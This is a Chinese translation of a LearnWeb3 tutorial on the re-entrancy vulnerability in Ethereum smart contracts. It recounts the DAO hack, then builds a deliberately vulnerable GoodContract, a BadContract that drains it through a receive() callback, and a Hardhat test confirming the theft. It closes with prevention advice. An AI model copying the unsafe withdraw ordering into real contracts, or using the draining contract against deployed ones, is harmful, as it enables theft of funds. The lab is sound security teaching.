Re-Entrancy是智能合约中发现的最古老的安全漏洞之一。正是这个漏洞导致了2016年臭名昭著的 “DAO黑客 “事件。在这次黑客攻击中,超过360万ETH被盗,如今价值数十亿美元。🤯
当时,由于以太坊相对较新,DAO包含了网络上所有以太坊的15%。这次失败对以太坊网络产生了负面影响,Vitalik Buterin提出了一个软件分叉,攻击者将永远无法转移出他的ETH。有些人同意,有些人不同意。这是一个极具争议性的事件,而且至今仍充满争议。
最后,它导致以太坊被分叉成两个–以太坊经典,以及我们今天所知的以太坊。以太坊经典版的区块链在分叉之前与以太坊完全相同,但之后的发展就像黑客攻击确实发生了一样,攻击者仍然控制着被盗资金。今天的以太坊实施了黑名单,就好像那次攻击从未发生过一样。🤔
这是那个故事的简化版,整个过程是相当复杂的。每个人都进退两难。你可以在这里阅读更多关于这个故事的内容,以了解更详细的情况
让我们了解更多有关此攻击的信息!🚀
什么是 重入攻击?
![https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/20220802215834.png https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/20220802215834.png]()
Re-Entrancy是一个漏洞,如果合同A调用合同B中的一个函数,那么合同B可以在合同A仍在处理时回调到合同A。
这可能会导致智能合约的一些严重漏洞,往往会产生从合约中抽走资金的可能性。
让我们通过上图中所示的示例来了解这是如何工作的。假设合约A有一个函数,称之为f(),它有三个功能:
-
检查合约B存入合约A的ETH余额
-
将ETH发送回合约B
-
将合约B的余额更新为0
由于ETH发送后余额会更新,合约B可以在这里做一些棘手的事情。如果合约B在其合同中创建一个fallback()或receive()函数,该函数在收到ETH时执行,那么它可以再次调用合约a中的f()。
由于合约A当时还没有将合约B的余额更新为0,它会再次将ETH发送给合约B——这就是漏洞所在,合约B可以持续这样做,直到合约A完全超出ETH。
构建
我们将创建几个智能合约,GoodContract和BadContract来演示这种行为。BadContract将能够从GoodContract中抽取所有的ETH。
让我们构建一个示例,让您体验重入攻击是如何发生的。
- 要设置一个Hardhat项目,请打开终端并执行这些命令
1
2
|
npm init --yes
npm install --save-dev hardhat
|
- 如果你使用的是Windows系统,请做这个额外的步骤,同时安装这些库 :)
1
|
npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
|
- 选择
Create a basic sample project
- 对已指定的
Hardhat Project root按回车键
- 如果你想添加一个
.gitignore,请按回车键。
- 按回车键
Do you want to install this sample project's dependencies with npm (@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)?
现在你有一个准备好的hardhat项目了!
让我们先在contracts目录下创建一个新文件,名为GoodContract.sol。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
contract GoodContract {
mapping(address => uint) public balances;
// Update the `balances` mapping to include the new ETH deposited by msg.sender
function addBalance() public payable {
balances[msg.sender] += msg.value;
}
// Send ETH worth `balances[msg.sender]` back to msg.sender
function withdraw() public {
require(balances[msg.sender] > 0);
(bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");
require(sent, "Failed to send ether");
// This code becomes unreachable because the contract's balance is drained
// before user's balance could have been set to 0
balances[msg.sender] = 0;
}
}
|
该合约非常简单。第一个函数,addBalance更新一个映射,以反映另一个地址向该合约存入多少ETH。第二个函数withdraw,允许用户提取他们的ETH回来 - 但ETH是在更新余额之前发送的。
现在让我们在contracts 目录下创建另一个文件,称为BadContract.sol。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./GoodContract.sol";
contract BadContract {
GoodContract public goodContract;
constructor(address _goodContractAddress) {
goodContract = GoodContract(_goodContractAddress);
}
// Function to receive Ether
receive() external payable {
if(address(goodContract).balance > 0) {
goodContract.withdraw();
}
}
// Starts the attack
function attack() public payable {
goodContract.addBalance{value: msg.value}();
goodContract.withdraw();
}
}
|
这个合约要有趣得多,让我们了解一下是怎么回事。
在构造函数中,该合约设置了GoodContract的地址并初始化了它的一个实例。
attack函数是一个payable函数,它从攻击者那里获取一些ETH,将其存入GoodContract,然后调用GoodContract中的withdraw函数。
此时,GoodContract将看到BadContract的余额大于0,所以它将向BadContract反回一些ETH。然而,这样做将触发BadContract的receive()函数。
receive()函数将检查GoodContract是否仍有大于0的ETH余额,并再次调用GoodContract中的withdraw函数。
这将形成一个循环,GoodContract将不断向BadContract发送资金,直到它的资金完全耗尽,然后最终达到将BadContract的余额更新为0并完成交易执行。此时,由于重入,攻击者已经成功地从GoodContract窃取了所有的ETH。
我们将利用Hardhat测试来证明这种攻击确实有效,以确保BadContract确实在消耗GoodContract的所有资金。你可以阅读Hardhat Docs for Testing,以熟悉测试环境。
让我们首先在测试文件夹下创建一个名为attack.js的文件,并在那里添加以下代码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
const { expect } = require("chai");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");
const { ethers } = require("hardhat");
describe("Attack", function () {
it("Should empty the balance of the good contract", async function () {
// Deploy the good contract
const goodContractFactory = await ethers.getContractFactory("GoodContract");
const goodContract = await goodContractFactory.deploy();
await goodContract.deployed();
//Deploy the bad contract
const badContractFactory = await ethers.getContractFactory("BadContract");
const badContract = await badContractFactory.deploy(goodContract.address);
await badContract.deployed();
// Get two addresses, treat one as innocent user and one as attacker
const [_, innocentAddress, attackerAddress] = await ethers.getSigners();
// Innocent User deposits 10 ETH into GoodContract
let tx = await goodContract.connect(innocentAddress).addBalance({
value: parseEther("10"),
});
await tx.wait();
// Check that at this point the GoodContract's balance is 10 ETH
let balanceETH = await ethers.provider.getBalance(goodContract.address);
expect(balanceETH).to.equal(parseEther("10"));
// Attacker calls the `attack` function on BadContract
// and sends 1 ETH
tx = await badContract.connect(attackerAddress).attack({
value: parseEther("1"),
});
await tx.wait();
// Balance of the GoodContract's address is now zero
balanceETH = await ethers.provider.getBalance(goodContract.address);
expect(balanceETH).to.equal(BigNumber.from("0"));
// Balance of BadContract is now 11 ETH (10 ETH stolen + 1 ETH from attacker)
balanceETH = await ethers.provider.getBalance(badContract.address);
expect(balanceETH).to.equal(parseEther("11"));
});
});
|
在这项测试中,我们首先部署了GoodContract和BadContract。
然后我们从Hardhat获得两个签名者–测试账户让我们访问10个账户,这些账户都是预先用ETH资助的。我们将其中一个作为无辜的用户,另一个作为攻击者。
我们让无辜的用户发送10个ETH到GoodContract。然后,攻击者通过对BadContract调用attack()并向其发送1个ETH开始攻击。
最后执行测试,在你的终端输入。
如果你的所有测试都通过了,那么攻击就成功了
预防
有两件事你可以做。
或者,你可以认识到这个函数容易受到重入的影响,并确保你在实际向用户发送ETH之前,在withdraw函数中更新用户的余额,所以如果他们试图回调到withdraw,就会失败。
另外,OpenZeppelin有一个ReentrancyGuard库,它提供了一个名为nonReentrant的修改器,在你应用它的函数中阻止重入。它的工作原理基本如下。
1
2
3
4
5
6
|
modifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
|
如果你在withdraw函数上应用这一点,那么回调到withdraw的过程将会失败,因为在第一个withdraw函数执行完毕之前,locked将等于true,从而也阻止了重入。
阅读
这些是可选的,但建议阅读的内容
原文:https://www.learnweb3.io/tracks/senior/re-entrancy
![https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/my.png https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/my.png]()